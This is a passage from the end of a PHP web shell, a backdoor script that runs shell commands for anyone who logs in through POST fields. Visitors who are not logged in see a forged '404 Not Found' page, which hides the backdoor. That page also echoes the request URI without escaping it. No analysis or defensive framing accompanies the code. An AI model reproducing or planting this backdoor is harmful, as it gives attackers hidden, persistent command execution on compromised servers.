if ($capture_buffer) {
$output = ob_get_contents();
ob_end_clean();
}
if ($output == null) {
$output = sprintf("Cannot execute this command: %s\n", $command);
}
}
return $output;
}
}
}
}
$shell = new Shell();
$shell->handle_execution();
if (isset($_POST['u']) and isset($_POST['p']) and $shell->login($_POST['u'], $_POST['p'])) {
$_SESSION['authorized'] = 1;
}
if (!isset($_SESSION['authorized']) or $_SESSION['authorized'] != 1) {
header('HTTP/1.1 404 Not Found');
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body style="background:#fff">
<h1>Not Found</h1>
<p>The requested URL <?php
echo $_SERVER['REQUEST_URI'];
?>
was not found on this server.</p>
<p>Additionally, a 404 Not Found